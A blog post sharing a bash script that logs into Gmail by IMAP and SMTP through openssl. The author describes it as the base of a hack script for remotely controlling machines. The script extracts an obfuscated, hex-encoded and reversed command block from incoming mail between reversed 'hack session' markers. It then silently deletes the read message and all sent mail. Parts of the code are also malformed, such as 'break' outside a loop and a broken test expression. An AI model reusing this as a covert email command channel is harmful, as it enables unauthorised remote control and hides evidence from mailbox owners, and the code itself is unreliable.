Gmail acess via bash - IMAP

I wrote this script to make a way to read you emails from gmail via BASH, some time after I remaked it to a hack script to remote control any O.S. that use bash:

This time only the gmail access... may be I'll post the powerful script someday.
    #!/bin/bash

    GMAIL_USER="your_gmail_user";

    GMAIL_PW="your_password";

    AUTH_HASH="$(echo -en "${GMAIL_USER} ${GMAIL_USER} ${GMAIL_PW}" | base64)";

    SLEEP_TIME=2;

    TOTAL_MESSAGES="$(

    openssl s_client -crlf -connect imap.gmail.com:993 < <(

    sleep ${SLEEP_TIME}; echo "A01 LOGIN $GMAIL_USER $GMAIL_PW";

    sleep ${SLEEP_TIME}; echo "A02 SELECT INBOX";

    sleep ${SLEEP_TIME}; echo "A02 LOGOUT";

    sleep ${SLEEP_TIME}; echo "";

    ) 2>&1 | tr -d "\r" | grep -E "^[*] [0-9]* EXISTS$"| sed "s/^[*] \([0-9]*\) EXISTS.*$/\1/g";

    )";


    TOTAL_MESSAGES_SENDED="$(

    openssl s_client -crlf -connect imap.gmail.com:993 < <(

    sleep ${SLEEP_TIME}; echo "A01 LOGIN $GMAIL_USER $GMAIL_PW";

    sleep ${SLEEP_TIME}; echo "A02 SELECT \"[Gmail]/E-mails enviados\"";

    sleep ${SLEEP_TIME}; echo "A02 LOGOUT";

    sleep ${SLEEP_TIME}; echo "";

    ) 2>&1 | tr -d "\r" | grep -E "^[*] [0-9]* EXISTS$"| sed "s/^[*] \([0-9]*\) EXISTS.*$/\1/g";

    )";


    LAST_MAIL="$(

    openssl s_client -crlf -connect imap.gmail.com:993 < <(

    sleep ${SLEEP_TIME}; echo "A01 LOGIN $GMAIL_USER $GMAIL_PW";

    sleep ${SLEEP_TIME}; echo "A02 SELECT INBOX";

    sleep ${SLEEP_TIME}; echo "A05 FETCH $TOTAL_MESSAGES ALL";

    sleep ${SLEEP_TIME}; echo "A06 FETCH $TOTAL_MESSAGES:$TOTAL_MESSAGES BODY[TEXT]";

    sleep ${SLEEP_TIME}; echo "A08 store $TOTAL_MESSAGES +FLAGS (\\Deleted)";

    sleep ${SLEEP_TIME}; echo "a09 expunge";

    sleep ${SLEEP_TIME}; echo "A02 SELECT \"[Gmail]/E-mails enviados\"";

    sleep ${SLEEP_TIME}; echo "A08 store 1:$TOTAL_MESSAGES_SENDED +FLAGS (\\Deleted)";

    sleep ${SLEEP_TIME}; echo "A09 expunge";

    sleep ${SLEEP_TIME}; echo "A02 LOGOUT";

    sleep ${SLEEP_TIME}; echo "";

    ) 2>&1 | tr -d "\r"

    )"


    SUBJECT="RES: $(echo -e "$LAST_MAIL" | grep ENVELOPE | sed 's/^* [0-9]* FETCH (ENVELOPE ("[^"]*"[ ]"\([^"]*\)".*/\1/g')";

    DEST_ADDR="$(echo -e "$LAST_MAIL" | grep ENVELOPE | sed 's/^* [0-9]* FETCH (ENVELOPE .* (("[^"]*" NIL "\([^ ]*\)" "\([^"]*\)".*/\1@\2/g')"

    # CODE_TO_RUN="$(echo -e "$LAST_MAIL" | sed -n "/^# NOISSES_KCAH_TRATS #$/,/^# NOISSES_KCAH_DNE #$/p")";

    CODE_TO_RUN="$(echo -e "$LAST_MAIL" | tr -d "\n" | grep "NOISSES_KCAH_TRATS" | sed "s/.*# NOISSES_KCAH_TRATS #\(.*\)# NOISSES_KCAH_DNE #.*/\1/g" | xxd -r --ps | rev )";


    [ "$DEST_ADDR" == "mailer-daemon@google.com" ] && break;

    grep "Delivery to the following recipient failed permanently" <( echo -e "${LAST_MAIL}" ) && break;

    (( ${TOTAL_MESSAGES:=0} == 0 )) && break;


    MAIL_BODY="$(

    {

    [ echo -e "

    # ---------------------------------------------------------- #

    # RESPONSE VIA BASH #

    # --------------------- ORIGINAL MESSAGE ------------------- #

    \n${LAST_MAIL}

    ";

    }

    )";



    openssl s_client -crlf -connect smtp.gmail.com:465 < <(

    sleep $SLEEP_TIME; echo "ehlo ${GMAIL_USER}";

    sleep $SLEEP_TIME; echo "AUTH PLAIN ${AUTH_HASH}";

    sleep $SLEEP_TIME; echo "mail from:<${GMAIL_USER}@gmail.com>";

    sleep $SLEEP_TIME; echo "rcpt to:";

    sleep $SLEEP_TIME; echo "rcpt to:<${DEST_ADDR}>";

    sleep $SLEEP_TIME; echo "DATA";

    sleep $SLEEP_TIME; echo "From: ${GMAIL_USER}";

    sleep $SLEEP_TIME; echo "Subject: $SUBJECT";

    sleep $SLEEP_TIME; echo "To: ${DEST_ADDR}";

    sleep $SLEEP_TIME; echo "";

    sleep $SLEEP_TIME; echo -e "${MAIL_BODY}";

    sleep $SLEEP_TIME; echo "";

    sleep $SLEEP_TIME; echo ".";

    sleep $SLEEP_TIME; echo "quit";

    sleep $SLEEP_TIME;

    ) 2>&1 | cat - > /dev/null 
Postar um comentário

Postagens mais visitadas